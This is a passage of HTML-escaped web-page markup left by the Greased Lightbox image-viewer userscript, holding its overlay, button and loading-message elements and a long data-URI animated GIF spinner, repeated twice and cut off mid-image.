href="https://github.com/greasemonkey/greasemonkey/issues#issue/1196"&gt;#1196&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="greasedLightboxOverlay"&gt;&lt;div id="greasedLightbox"&gt;&lt;img src="" id="greasedLightboxImage" /&gt;&lt;div id="greasedLightboxCaption"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxMenu"&gt;&lt;a href="http://shiftingpixel.com/lightbox/" id="greasedLightboxTitleLink"&gt;Greased Lightbox&lt;/a&gt;&lt;div id="greasedLightboxButtons"&gt;&lt;a title="Next image (right arrow key)" id="greasedLightboxButtonRight"&gt;→&lt;/a&gt;&lt;a title="Previous image (left arrow key)" id="greasedLightboxButtonLeft"&gt;←&lt;/a&gt;&lt;a title="Magnify image (+ key)" id="greasedLightboxButtonPlus"&gt;+&lt;/a&gt;&lt;a title="Shrink image (- key)" id="greasedLightboxButtonMinus"&gt;-&lt;/a&gt;&lt;a title="Start/stop slideshow" id="greasedLightboxButtonSlide"&gt;↻&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxLoading"&gt;&lt;img style="border: medium none;" src="data:image/gif,GIF89a%80%80%A2%FF%FF%FF%DD%DD%DD%BB%BB%BB%99%99%99%FF%21%FF%0BNETSCAPE2.0%03%01%21%F9%04%05%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CA%06*%988%EB%CD%BB_%96%F5%8Ddibax%AEl%AB%A5%A2%2B%CF.%5C%D1x%3E%DA%97%EE%FF%12%1EpHT%08%8B%C8G%60%190%1DI%83%E8%20%F9a2K%CF%8FTJ%E5X%AD%A4lg%BB%EDj%BE%D7%9D%0DJ%8E%9A3%E8%B4G%BCis%DF%93%B8%9CC%CF%D8%EFx%12zMsk%1E%7FS%81%18%83%850%87%7F%8Apz%8D%29%8Fv%91%92q%1D%7D%12%88%98%99%9A%1B%9C%10%88%89%9Fy%93%A2%86%1A%9E%A7%8B%8C%2F%AB%18%A5%AE%A0_%AA%8E%AC%90%B5%B6%60%19%A3%0D%AD%BC%AF%A1%28%B2%9D%BB%C3%C4h%BF%C7%A4%C9%CA%A8%A9A%CE%0E%B4%D1%BD%7B%10%C0%0A%C2%D8%D2%C5%DB%D5%0C%D7%DF%CB%B7%13%B9%C8%97x%02%EE%02%2B%B0%D47%13%DEln%1E%EF%EF%27%F2%2B%F6Zd%3A%E8%1Bhb%9A%3Fv%F7%DAp%18%C8%90%84%C1%13%D0%C6%94%CB%C0%B0%E2%08f2%14%02%2Ce%8A%FFb%C5%86U%B4%B5%28%B3%91%A3%C0%8F%20%CD%CD%E2%08h%21%CA%94*%AD%B1l%99%EF%25%C1%98%0Bf%D2%1Ca%F3fL%9D%F8X%F4%D4g%0EhG%17C%F7%0D3%EA%23%A9%3B%5EL%818u%054%C9P%AA%2C%DF%D8%C4%FA%8F%CAK%AE%08%15Y%AC%15%F6%13%D1%A5%3Bq%AA%5D%CB%B6%AD%DB%B7p%E3%CA%9DK%B7%AE%DD%BBx%F3B4%DA%F5%1B_a%7F%27%16%0D%0C%89%B0%E0h%86%13%F3%FD%A9%B8qV%95%8E%23%F7%85*%D9Me%B5%97%BB9f%1BY%AF%E7%CF%A0C%8B%1EM%BA%B4%E9%D3%A8S%AB%C6A%92r%D0Se1%C5%7Es8P%ED%24%26a%DF%1E2%13%EC%E4%1CUu%F7%06%12%D5wn%E0%C1%5D%0F%9FQ%1Cq%F2%83%3A1%3FO%F8Xzt%EA%C7%DB6%AFs%5D%EE%F4%95%D5%25%BEv%D1Z%7Cv%F0%BB%EB%05%CC%B8%DERz%99%BF%D5kd%11%91%C3y%F9%F3G%D4%2F%B1%DF%7E%FF%08%BC%F9%E9%F7_I%EDaW%12t%01%3EP%DE3%B3%B9g%DB%80%9A-%A8%20%84%8CAha%7C%90Q%A8%21%85%7Ea%B8%21%87%CE5%18%8C%88%E4%80%88%16%89%25%26%C8%A0%8A%19%A2%98%93%8B%11%B2%D8%21%8C1J%08%A0%89%9F%BC%97b%81%F8%C9x%A2%8F%F0%F1%D8%A3%8D%CA%E8%B8%23%91%2B%02%29%9C%92%232y%24%92%C6%A55%E4x%7E%E0H%9B%95%04%60%89%A1%22%5B%06%09%E5%8D4%9Aa%A4%97RNY%26%97X%D6x%E6%3ANv%91%A6%9ATr%D7%26%15of%19%26%99q%E6%28%A4%7Fs%929%E3Q%EE%7D%89%1Eiu%AAVhj%87%A2%96%E8i%8B%9A%D6%A8%A3%7B%AE%C6%27%A0%AE%24%21%F9%04%05%05%04%2C%0A%02W0%03%FFH%BA%DC%FE0%BE%40%83%BC8%EB%3D%2B%E5%60%28J%9E7%9E%28WVi%EBv%EB%2B%BF%EB7%DFgm%E1%3C%A8%F7%23%81P%90%FA%A1H%40k8D%19G%C9%24%8A%C9%CC%D5N%D1%E8%89%DA%1C%3DCYi%90%2B%F4%5EEa%B1%88%DC%F5%9DAi%F5%9A-%FAn%E2%CA%14%9B%E8%8E%C1%E3.%7B%21v%19x%2F%82*o%1A%86%87%88%1A%84%12xy%8Dd%89%7E%8B%803%7B%7C%19%90%10%928%8E%18%9E%0F%8C%A1t%9D%8A%91%99%3C%A2%24%AA%11%A6%AD%A8%17%A4%0C%B2%B3%B4%11%B6%0A%A0%40%0A%AE0%25%18%B8%3D%9B%B5%B0%0D%BE%BF%C0%BA%10%97%B1%AC%10%03%D4%03%81%CE%C2%C4%D2%0F%D5%D5K%D8G%DB%0D%DD%E4z%952%E2%E3%E4%E5c%5C3%E9%0C%EB%F2%EDm%E8Y%18%F2%F3se%3CZ%19%F9%FA%98%09%04%18P%E0%2F%82%EB%0C2C%C8N%21%10%86%DD%1C%1E%84HMb%0F%8A%15-%F2%C0%A8%F1%13%22%C3%8E%0F%09%82%0C%99o%E4%C4%86%26IZK%A9%21%01%21%F9%04%05%05%04%2C%1F%02W0%03%FFH%BA%DC%FEKH%01%AB%BD8%EB6%E7%FE%60%A8u%9Dh%9E%22%E9%A1l%5B%A9%92%2B%CF%04L%D1%F8i%E7%7C%B8%F7%A2%81p%C0%FA%9D%02%C8%40k8D%19E%C9%24%8A%C9%D4%C1%8EQ%A9%89%DA4%3DAYm%90%2B%F4%5E%A1a%E4%89%DC%05%7D5i%F1%98%9C%3A%83%E3K%B6%CF%BE%89%2B%F3tn%7Cpx.lD%1Fo%17%7E3%87%88%23%83%8B%8C%8Dz%1B%8A%15%93%94%95%19%97%0F%7E%7F4%87%96%91%98%859%A2%9C%A4%9E%A6%A7%9B%17%9D%0D%99%3C%A8%AF%AA%B1%AC%B3%B4%2F%B6%0B%9F%40%0B%BA%10%B0%0A%B2%40%8E%B5*%92%B8%C6%AE%C2%24%18%C5%BF%04%C1%0F%25%CAa.%DA%18%D4%28%D1%21%DB%DB%DD%812%CB%20%E2%E9%17%CD%2C%E7%1A%E9%F0%E4U8%D8%22%F0%F7%19%F39Q%26%F7%F8%D2%D2%FC%FD%03%D8C%E0%40%828%0C%C6C%C8C%A1%3A%86%09%1D%8E%83HC%E2D%8A3%2Cj%C3X%D1%14%22%C7%88%0A%3F%E6%08%29r%A4%C0%92%05%17%A2L%B9%D1D%02%21%F9%04%05%05%04%2C%3C%02BB%03%FEH4%3C%FA0%CAI%AB%9D%AD%DD%CD%7B%CD%99%27%8E%16%A8%91hj2i%3B%AE%8E%2Bo%F0l%7F%EB%ADG%B5%2B%FC%82%DD%A3%97%02%02%85%8B%5C%D1x%DC%11I%CC%A6%EE%29%8AJo%D4%8E%F5j%CBr%B6A%A1%F7%02F%26M%D0%ADy%5C%29%AF%95Z7%92%3D%91%CF%E1%1Bp%F8%8D%8E%5B%CDCx%16v%7C%20%7EQ%80%81%7Ddj%89%0At%0Az%8E%8F%82u%8D%93%90%92%93%94%21%8C%7F%9B%8A1%83%97.%01%A6%01%3B%84%28%A7%A7%3A%A4%AB%AC%AC7%AF%22%B1%B6%AEL%29%B6%BB%A9%5C%1E%BB%BC%A0%1B%C0%C1%C2%15%C4%C5%C6%12%C8%B7%CA%14%CC%B1%CE%13%D0%B2%D2%11%D4%AD%D6%D7%D8%A8%DA%10%DC%DE%CB%D0%E1%D3%C8%E4%CF%C4%E7%C7%CD%EA%EB%A6%ED%F0%F1%F2%F3%F4%F5%F6%F7%F8%F9%FA%FA%FD%FE%FF%03%024%26%B0%A0%C1%7F%A0%0E*4%B8i%A1%C3%81%93%1EJ%04%D0p%A2%C3%84%16%0F%12%CC%28%03PA%02%21%F9%04%05%05%04%2CN%0A0W%03%ECH%BA%BC%F3%A3%C9I%2B%85%D0%EA%7Dq%E6%E0%E6%7Da%29%8D%A4%A9%A2%A9Z%B2%91%BB%B2%B2%0B%D7%E6%8D%87p%BCs%BA%9F%28%28%B4%10%8B%1D%14r%A8%5CV%8ENF%2F%9A%1CQ%27%D3k%03z%E5%AA%04%60%81%91%B6%0B%87%9F%CD%9Ay%5D%C5%A8%D7%EC%B6%CF%04%AF%8F%1F%B2%BA%9D%AA%DF%3B%FB%7EH%80p%7C%83fQ%86%87%7F%89%60%85%8C%8E%86Z%89Z%0A%83%94%0B%80%97%0C%81%9A%95g%9D%A0%A1%A2%A3%A4%A5%A6%A7%A8%A9%AA*%01%AD%AE%AF%B0%B1%B05%B2%B5%B6%AF.%B7%BA%B6%AC%BB%BE%B8%26%BF%C2%01%BD%C3%BB%B9%C6%B7%B4%C9%B2%AB%CE%CF%D0%D1%D2%D3%D4%D52%D8%A5%D9%DC%A2%DC%DF%DA%9D%E0%DF%E2%E3%E4%94%E6%E3%E8%E9%E0Z%EC%ED%EE%EF%DD%F1%F2%D8%F4%F5%EB%F5%E1W%FA%FB%FC%F8%F9%D8%95K%17%8A%A0%B7s%A3%E6QH%21%F9%04%05%05%04%2CN%1F0W%03%E9H%BA%DC%FEn%C8%01%AB%BDmN%CC%3B%D1%A0%27F%608%8Eez%8A%A9%BAb%AD%FBV%B1%3C%93%B5v%D3%B9%BE%E3%3D%CA%2F%13%94%0C%81%BD%231%A8D%B6%9A%8F%1C%14R%9B%F2L%D6%AB0%CB%EDz%BF%E0%B0xL.%9B%CF%5C%81z%CDn%BB%DB%B3%B7%7C%CE%5E%D1%EF%F3%13%7E%0F%1F%F1%FF%02z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93%0A%01%96%01f%97%9Ac%9A%9D%98%60%9E%9D%A0%A1%A2%5D%A4%A1%A6%A7%9E%5C%AA%AB%AC%AD%9B%AF%B0%96%B2%B3%A9%B3%9FY%B8%B9%10%BE%2F%B8%15%BF%BF%C1%B0%BD%C4%C5%C6%A7%C8%C9%C07%CC%0F%CE%CA%D0%A5%D2%D3%CF%3B%B1%C3%D8b%D8%BE%DE%DDa%DF%D9_%DFc%E7%E3%E2%EA%D3%E1%EB%E6%EF%5E%E4%EE%CE%E8%F1%5D%E9%EC%F5%FA%FB%60%F9%FE%ED%E8%11%23%D3%CF%1E%B8%29%09%21%F9%04%05%05%04%2C%3C%3CBB%03%F9H%BA%DC%FEP%8DI%AB%BD6%EA%1D%B1%FF%15%27r%60%F9%8D%E8c%AEY%EAJl%FC%BE%B1%3C%BB%B5y%CF%F9%B9%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%10X%05%D4%D7u%9B%1Dm%BF%D8%AE%06%FC%15G%C8%60%B3%03MV3%D8mw%15%5E%96%CF%E9W%FB%1D%1Fv%F3%F3v%7FVz%82F%01%87%017%7FD%88%88%8AxC%8D%8D%3Bt%91%92%87%40l%96%97%89%99u%11%A1%1C%9C%98A%5C%1A%A2%A2%A4%A5O%AA%AA%1B%A5%A6L%AF%AB%B1%ADM%B5%A1%AC%B8K%BA%A3%BC%97%B9%BA%23%B2%B4%C4%22%C6%BE%C8%C9%BDH%BF%28%B2%9D%CF%CC%CD%9CJ%D0%D1%CAG%D9%DA%D7%D4%B5%2F%DBE%DD%DE%C2%DC%D5%E6%92%E8%E1%E2%E3B%E5%29%EFA%F1%F2%DFD%F5%EA%8E%E4%E9.%E7%FC%EDvLb%F7J%8F%83%7Cv%10%CAQ%E8%86%A1%1A%87%0F%0B%1A%7Ckb%83%04%21%F9%04%05%05%04%2C%1FNW0%03%FFH%BA%DC%FE0%CA7%EA%988%EB%CD%89%FD%5D%28%8E%CDg%5Ed%AAJ%A7%B9%BE%B0%D7%BAq%1D%CE%AD%ADkx%BE%FF%90%DE%09Ht%08i%C5%E4%11%94%2C.-M%E5%13%15%05N5%80%2C%E0%27%E8%0AFO%8CV%AB%F3z%C1%C7%C9x%5C3%9BIB%F5%3A%DBvwU8%C9%9C%1C%B3%9F%F1H%10%7Bt%13%01%86%01%18%7Ew%2BL%11%83%5B%85%87%86%89%8AQ%8F%90%11%92%92%13%8A%8BE%8F%18%9A%87%94%7EI%97%A1%A2%88%9C%9D%9F%83%19%A9%AA%AB%A5%40%A0%AF%A9%1A%AC%3F%B5%A8%A2%B8%95%3B%BB%BC%9A%1B%B95%A7%1A%B0%C4%C50%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%2B%D3%D4%C3%1C%CB%29%D9%DA%CF%DC%BF*%DF%12%C9%1D%DD%22%E5%E6%B7%21%E9%1C%C7%1D%E7%E8%EFX%AE%22%F3%F4%D7%1D%F7%F8%ED%22%E3B%F4%0B%91O%9F%1BokR%144%E8%89%04%1B%85%FFF%BC%A9%E2l%14%C5%28%0B%2F%FE%C8%A8Q%13%07%C7%8E5%3E%82%84%21r%E4%8Bj%26%89%84K%A9%20%01%21%F9%04%05%05%04%2C%0ANW0%03%FFH%BA%DC%0E%10%B8I%AB%BD8%B7%C8%B5%FF%E0%C7%8DRh%9E%219%A2lK%A9%A4%2B%B7%B0%3A%DF%60m%E3%3C%A6%C7%BD%E0%E4%B7%12%1A%17%C4%CEq%99%8C%2C%8FM%C8%13%DA%9CR%89%A7%806%20%1Cx%07%99dv%AB%ED%7D%BF%3E%1D%8AL%C6%9D%CF%97Z%8B%BDu%BF%BDi%25%8B%5E%BF%DD%D1qN.%7Ce%17%02%87%02%18%7FxV%04%84%5C%86%88%87%8A%8BV%8F%90%15%92%92%17%8B%8CK%8F%18%9A%88%94%7FO%97%A1%A2%89%9C%9D%9F%84%19%A9%AA%AB%A5F%A0%AF%A9%1A%ACB%B5%A8%A2%B8%95A%BB%BC%9A%1E%B98%A7%1A%B0%C4%C53%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%83%AE%1F%C9%1F%CB%7B%D9%DA%B7%20%DDc%7C%21%DB%DC%BF%DE%E5%E6%E1%E2%E9%26%C7%20%E7%E8%EF%20%D3%C8%ED%EE%D7%F6%EB%26%F3%FAo%D6%F4cW%CDD%3D%7EmP%FC%03%E8I%60%21%85%F9%0C%02jDm%18E%2B%0B%2F%0A%C9%A8%B1%12%07%C7%8E8%3E%82%9C%21r%A4%8C%82%26%8D%3C%E3%91%21%F9%04%05%05%04%2C%02%3CBB%03%F5H%04%DC%FE%F0%A9I%AB%BD%98%C6%CD%5D%FE%E0%D5%8D%5Ch%82d*%9D%AC%A5%BE%40%2BO%B0%3A%DF%F5x%EF%F9%B6%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%3D%05%AE%81%AA%0C%CB%D5%9A%B8%E0%AC7%13%06%8F%2F%E5%F0%99%92.%AF%09m%F7%3A%AE%3E%D3%CD%F6%3B%F6%AD%DF%E7%FB%7C%80%81w%3B%02%86%02Fz%85%87%86Et%3F%8C%8CDmA%91%87%8Ex%40%96%97%98WC%9B%8D%20%03%A3%03R%A0%88%A2%A4%A3P%A7%A8%19%AA%AAO%A7%21%B0%A4N%AD%B4%B5%A5M%B3%B9%B5%BC%A0%27%BA%BBK%BD%BE%B0L%C6%C7%B1J%B8%C2%BA%C5%C1%2C%C3%CD%CA%CB%B6I%D6%D7%ABH%DA%DB%C4F%DE%A9%BFG%E2%E3%C8%E1%E6%1F%D4%E9%9B%3B%ECE%D27%F0D%F23%F4%F5%91%40%F8%F9%A1%3F%FCo%26%0CH%60%60%40%83o%10%AEQx%86aCt%0410K%21%F9%04%05%05%04%2C%02%1F0W%03%E7H%BA%0C%0E%2C%CAIk%7B%CE%EAM%B1%E7%E0%E6%8Da%29%8D%A8%A9%A2%A9Z%B2%AD%CB%C1%B1%AC%D1%A4%7D%E3%98.%F2%0F%DF%0E%08%11v%88E%E3%04%A9%AC%9B%16%1C4%0A%9B%0E%7B%D6_%26%CB%EDz%BF%E0%B0xL.%9B%CF%A1%80z%CDn%BB%DB%B6%B7%7C%CEv%D1%EFs%15%7E%0F7%F1%FF%01z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93h%02%96%02f%97%9Ac%9A%9D%98%60%9E%9D_%A1%9E%5D%A4%A1Y%A7%A8V%AA%A5S%AD%A2%AF%B0%97%A9%B3%96%AC%B6%9F%B2%B3%5C%B62%03%C0%03%16%BC.%C1%C1%15%AD6%C6%C6%14%A7%3E%CB%C7%CD%B1%3A%D0%D1%D2%B7B%D5%C0b%DA%C2a%DD%DE%60%DD%DC%E3%DF%DA%E4%D5c%E5%E2%E7%E6%ED%EC%E9%EE%F1%F0%D0%E8%F5%F6%CB%F8%CC%F2%F7%F4%F9%FA%DB%D4%CD%D3wf%9F%86%04%21%F9%04%09%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CAI%AB%BD8%EB%CD%BB%FF%60%28%8Edi%9Eh%AA%AEl%EB%BEp%2C%CFt%0A%DC%40%AD%938%BE%FF%9E%5E%0FH%CC%08%7D%C5%24%E5%88T%3A%1D%CC%E6sJ%88%E6%A8X%2B%96%AA%DDN%BB%5E%A5%F5%1AN%82%CB%C41%DA%1C%5D%B3%99%EEt%3B%0E%3C%D3i%EA%BB%CE%AE%8F%E5%FB3%7C%80%12%01%85%01%21%82%83%0E%86%86%20%89%8A%0B%8C%92%1Fs%90%10%92%98%1D%95%96%8B%98%99%1BG%9C%11%9E%9E%1CC%A2%A3%A4%9F%A8%26%AA%A5%AC%AD%AE%93%B0%24%B2%B3%B4%23%B6%8C%B8%B5%BA%85%BC%22%BE%BF%C0%21%C2%C4%C1%B6%C7%B9%AE%CA%CB%A4%CD%BD%B7%D0%CE%87%D3%D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%C0%02%E4%E5%E6%E7%E8%E7%DC%E9%EC%ED%E6%DA%EE%F1%ED%D9%F2%F5%EA%D8%F6%F9%02%F4%FA%F5%F0%FD%EE%D6%01L%27%AE%A0%C1%83%08%13*%5C%C8%B0%A1%C3%87h%06H%1Cq%C1%C4%8B%10%2Fj%A4%D8pP%A3F%86%1E7*%0C%E9%11%21%C9%92%07O%8A4%A8%F2%23%CB%96%13M%C2%94%98r%26%C7%970%13%CE%5C%98%93%E7I%87%24%2B%AE%ACH%23%D1%A3H%93*%5D%CA%B4%A9%D3%A7P%A3J%9DJ%B5%AA%D5%ABX%B3j%DD%CA%B5%AB%D7%AF%60%C3%16I%3B" /&gt;&lt;p id="greasedLightboxLoadingText"&gt;Loading image&lt;/p&gt;&lt;p id="greasedLightboxLoadingHelp"&gt;Click anywhere to cancel&lt;/p&gt;&lt;/div&gt;&lt;div id="greasedLightboxError"&gt;&lt;p id="greasedLightboxErrorMessage"&gt;Image unavailable&lt;/p&gt;&lt;p id="greasedLightboxErrorContext"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;img src="" id="greasedLightboxPreload" /&gt;&lt;img src="" id="greasedLightboxPrefetch" /&gt;&lt;div id="greasedLightboxOverlay"&gt;&lt;div id="greasedLightbox"&gt;&lt;img id="greasedLightboxImage" /&gt;&lt;div id="greasedLightboxCaption"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxMenu"&gt;&lt;a href="http://shiftingpixel.com/lightbox/" id="greasedLightboxTitleLink"&gt;Greased Lightbox&lt;/a&gt;&lt;div id="greasedLightboxButtons"&gt;&lt;a title="Next image (right arrow key)" id="greasedLightboxButtonRight"&gt;→&lt;/a&gt;&lt;a title="Previous image (left arrow key)" id="greasedLightboxButtonLeft"&gt;←&lt;/a&gt;&lt;a title="Magnify image (+ key)" id="greasedLightboxButtonPlus"&gt;+&lt;/a&gt;&lt;a title="Shrink image (- key)" id="greasedLightboxButtonMinus"&gt;-&lt;/a&gt;&lt;a title="Start/stop slideshow" id="greasedLightboxButtonSlide"&gt;↻&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxLoading"&gt;&lt;img style="border: medium none;" src="data:image/gif,GIF89a%80%80%A2%FF%FF%FF%DD%DD%DD%BB%BB%BB%99%99%99%FF%21%FF%0BNETSCAPE2.0%03%01%21%F9%04%05%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CA%06*%988%EB%CD%BB_%96%F5%8Ddibax%AEl%AB%A5%A2%2B%CF.%5C%D1x%3E%DA%97%EE%FF%12%1EpHT%08%8B%C8G%60%190%1DI%83%E8%20%F9a2K%CF%8FTJ%E5X%AD%A4lg%BB%EDj%BE%D7%9D%0DJ%8E%9A3%E8%B4G%BCis%DF%93%B8%9CC%CF%D8%EFx%12zMsk%1E%7FS%81%18%83%850%87%7F%8Apz%8D%29%8Fv%91%92q%1D%7D%12%88%98%99%9A%1B%9C%10%88%89%9Fy%93%A2%86%1A%9E%A7%8B%8C%2F%AB%18%A5%AE%A0_%AA%8E%AC%90%B5%B6%60%19%A3%0D%AD%BC%AF%A1%28%B2%9D%BB%C3%C4h%BF%C7%A4%C9%CA%A8%A9A%CE%0E%B4%D1%BD%7B%10%C0%0A%C2%D8%D2%C5%DB%D5%0C%D7%DF%CB%B7%13%B9%C8%97x%02%EE%02%2B%B0%D47%13%DEln%1E%EF%EF%27%F2%2B%F6Zd%3A%E8%1Bhb%9A%3Fv%F7%DAp%18%C8%90%84%C1%13%D0%C6%94%CB%C0%B0%E2%08f2%14%02%2Ce%8A%FFb%C5%86U%B4%B5%28%B3%91%A3%C0%8F%20%CD%CD%E2%08h%21%CA%94*%AD%B1l%99%EF%25%C1%98%0Bf%D2%1Ca%F3fL%9D%F8X%F4%D4g%0EhG%17C%F7%0D3%EA%23%A9%3B%5EL%818u%054%C9P%AA%2C%DF%D8%C4%FA%8F%CAK%AE%08%15Y%AC%15%F6%13%D1%A5%3Bq%AA%5D%CB%B6%AD%DB%B7p%E3%CA%9DK%B7%AE%DD%BBx%F3B4%DA%F5%1B_a%7F%27%16%0D%0C%89%B0%E0h%86%13%F3%FD%A9%B8qV%95%8E%23%F7%85*%D9Me%B5%97%BB9f%1BY%AF%E7%CF%A0C%8B%1EM%BA%B4%E9%D3%A8S%AB%C6A%92r%D0Se1%C5%7Es8P%ED%24%26a%DF%1E2%13%EC%E4%1CUu%F7%06%12%D5wn%E0%C1%5D%0F%9FQ%1Cq%F2%83%3A1%3FO%F8Xzt%EA%C7%DB6%AFs%5D%EE%F4%95%D5%25%BEv%D1Z%7Cv%F0%BB%EB%05%CC%B8%DERz%99%BF%D5kd%11%91%C3y%F9%F3G%D4%2F%B1%DF%7E%FF%08%BC%F9%E9%F7_I%EDaW%12t%01%3EP%DE3%B3%B9g%DB%80%9A-%A8%20%84%8CAha%7C%90Q%A8%21%85%7Ea%B8%21%87%CE5%18%8C%88%E4%80%88%16%89%25%26%C8%A0%8A%19%A2%98%93%8B%11%B2%D8%21%8C1J%08%A0%89%9F%BC%97b%81%F8%C9x%A2%8F%F0%F1%D8%A3%8D%CA%E8%B8%23%91%2B%02%29%9C%92%232y%24%92%C6%A55%E4x%7E%E0H%9B%95%04%60%89%A1%22%5B%06%09%E5%8D4%9Aa%A4%97RNY%26%97X%D6x%E6%3ANv%91%A6%9ATr%D7%26%15of%19%26%99q%E6%28%A4%7Fs%929%E3Q%EE%7D%89%1Eiu%AAVhj%87%A2%96%E8i%8B%9A%D6%A8%A3%7B%AE%C6%27%A0%AE%24%21%F9%04%05%05%04%2C%0A%02W0%03%FFH%BA%DC%FE0%BE%40%83%BC8%EB%3D%2B%E5%60%28J%9E7%9E%28WVi%EBv%EB%2B%BF%EB7%DFgm%E1%3C%A8%F7%23%81P%90%FA%A1H%40k8D%19G%C9%24%8A%C9%CC%D5N%D1%E8%89%DA%1C%3DCYi%90%2B%F4%5EEa%B1%88%DC%F5%9DAi%F5%9A-%FAn%E2%CA%14%9B%E8%8E%C1%E3.%7B%21v%19x%2F%82*o%1A%86%87%88%1A%84%12xy%8Dd%89%7E%8B%803%7B%7C%19%90%10%928%8E%18%9E%0F%8C%A1t%9D%8A%91%99%3C%A2%24%AA%11%A6%AD%A8%17%A4%0C%B2%B3%B4%11%B6%0A%A0%40%0A%AE0%25%18%B8%3D%9B%B5%B0%0D%BE%BF%C0%BA%10%97%B1%AC%10%03%D4%03%81%CE%C2%C4%D2%0F%D5%D5K%D8G%DB%0D%DD%E4z%952%E2%E3%E4%E5c%5C3%E9%0C%EB%F2%EDm%E8Y%18%F2%F3se%3CZ%19%F9%FA%98%09%04%18P%E0%2F%82%EB%0C2C%C8N%21%10%86%DD%1C%1E%84HMb%0F%8A%15-%F2%C0%A8%F1%13%22%C3%8E%0F%09%82%0C%99o%E4%C4%86%26IZK%A9%21%01%21%F9%04%05%05%04%2C%1F%02W0%03%FFH%BA%DC%FEKH%01%AB%BD8%EB6%E7%FE%60%A8u%9Dh%9E%22%E9%A1l%5B%A9%92%2B%CF%04L%D1%F8i%E7%7C%B8%F7%A2%81p%C0%FA%9D%02%C8%40k8D%19E%C9%24%8A%C9%D4%C1%8EQ%A9%89%DA4%3DAYm%90%2B%F4%5E%A1a%E4%89%DC%05%7D5i%F1%98%9C%3A%83%E3K%B6%CF%BE%89%2B%F3tn%7Cpx.lD%1Fo%17%7E3%87%88%23%83%8B%8C%8Dz%1B%8A%15%93%94%95%19%97%0F%7E%7F4%87%96%91%98%859%A2%9C%A4%9E%A6%A7%9B%17%9D%0D%99%3C%A8%AF%AA%B1%AC%B3%B4%2F%B6%0B%9F%40%0B%BA%10%B0%0A%B2%40%8E%B5*%92%B8%C6%AE%C2%24%18%C5%BF%04%C1%0F%25%CAa.%DA%18%D4%28%D1%21%DB%DB%DD%812%CB%20%E2%E9%17%CD%2C%E7%1A%E9%F0%E4U8%D8%22%F0%F7%19%F39Q%26%F7%F8%D2%D2%FC%FD%03%D8C%E0%40%828%0C%C6C%C8C%A1%3A%86%09%1D%8E%83HC%E2D%8A3%2Cj%C3X%D1%14%22%C7%88%0A%3F%E6%08%29r%A4%C0%92%05%17%A2L%B9%D1D%02%21%F9%04%05%05%04%2C%3C%02BB%03%FEH4%3C%FA0%CAI%AB%9D%AD%DD%CD%7B%CD%99%27%8E%16%A8%91hj2i%3B%AE%8E%2Bo%F0l%7F%EB%ADG%B5%2B%FC%82%DD%A3%97%02%02%85%8B%5C%D1x%DC%11I%CC%A6%EE%29%8AJo%D4%8E%F5j%CBr%B6A%A1%F7%02F%26M%D0%ADy%5C%29%AF%95Z7%92%3D%91%CF%E1%1Bp%F8%8D%8E%5B%CDCx%16v%7C%20%7EQ%80%81%7Ddj%89%0At%0Az%8E%8F%82u%8D%93%90%92%93%94%21%8C%7F%9B%8A1%83%97.%01%A6%01%3B%84%28%A7%A7%3A%A4%AB%AC%AC7%AF%22%B1%B6%AEL%29%B6%BB%A9%5C%1E%BB%BC%A0%1B%C0%C1%C2%15%C4%C5%C6%12%C8%B7%CA%14%CC%B1%CE%13%D0%B2%D2%11%D4%AD%D6%D7%D8%A8%DA%10%DC%DE%CB%D0%E1%D3%C8%E4%CF%C4%E7%C7%CD%EA%EB%A6%ED%F0%F1%F2%F3%F4%F5%F6%F7%F8%F9%FA%FA%FD%FE%FF%03%024%26%B0%A0%C1%7F%A0%0E*4%B8i%A1%C3%81%93%1EJ%04%D0p%A2%C3%84%16%0F%12%CC%28%03PA%02%21%F9%04%05%05%04%2CN%0A0W%03%ECH%BA%BC%F3%A3%C9I%2B%85%D0%EA%7Dq%E6%E0%E6%7Da%29%8D%A4%A9%A2%A9Z%B2%91%BB%B2%B2%0B%D7%E6%8D%87p%BCs%BA%9F%28%28%B4%10%8B%1D%14r%A8%5CV%8ENF%2F%9A%1CQ%27%D3k%03z%E5%AA%04%60%81%91%B6%0B%87%9F%CD%9Ay%5D%C5%A8%D7%EC%B6%CF%04%AF%8F%1F%B2%BA%9D%AA%DF%3B%FB%7EH%80p%7C%83fQ%86%87%7F%89%60%85%8C%8E%86Z%89Z%0A%83%94%0B%80%97%0C%81%9A%95g%9D%A0%A1%A2%A3%A4%A5%A6%A7%A8%A9%AA*%01%AD%AE%AF%B0%B1%B05%B2%B5%B6%AF.%B7%BA%B6%AC%BB%BE%B8%26%BF%C2%01%BD%C3%BB%B9%C6%B7%B4%C9%B2%AB%CE%CF%D0%D1%D2%D3%D4%D52%D8%A5%D9%DC%A2%DC%DF%DA%9D%E0%DF%E2%E3%E4%94%E6%E3%E8%E9%E0Z%EC%ED%EE%EF%DD%F1%F2%D8%F4%F5%EB%F5%E1W%FA%FB%FC%F8%F9%D8%95K%17%8A%A0%B7s%A3%E6QH%21%F9%04%05%05%04%2CN%1F0W%03%E9H%BA%DC%FEn%C8%01%AB%BDmN%CC%3B%D1%A0%27F%608%8Eez%8A%A9%BAb%AD%FBV%B1%3C%93%B5v%D3%B9%BE%E3%3D%CA%2F%13%94%0C%81%BD%231%A8D%B6%9A%8F%1C%14R%9B%F2L%D6%AB0%CB%EDz%BF%E0%B0xL.%9B%CF%5C%81z%CDn%BB%DB%B3%B7%7C%CE%5E%D1%EF%F3%13%7E%0F%1F%F1%FF%02z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91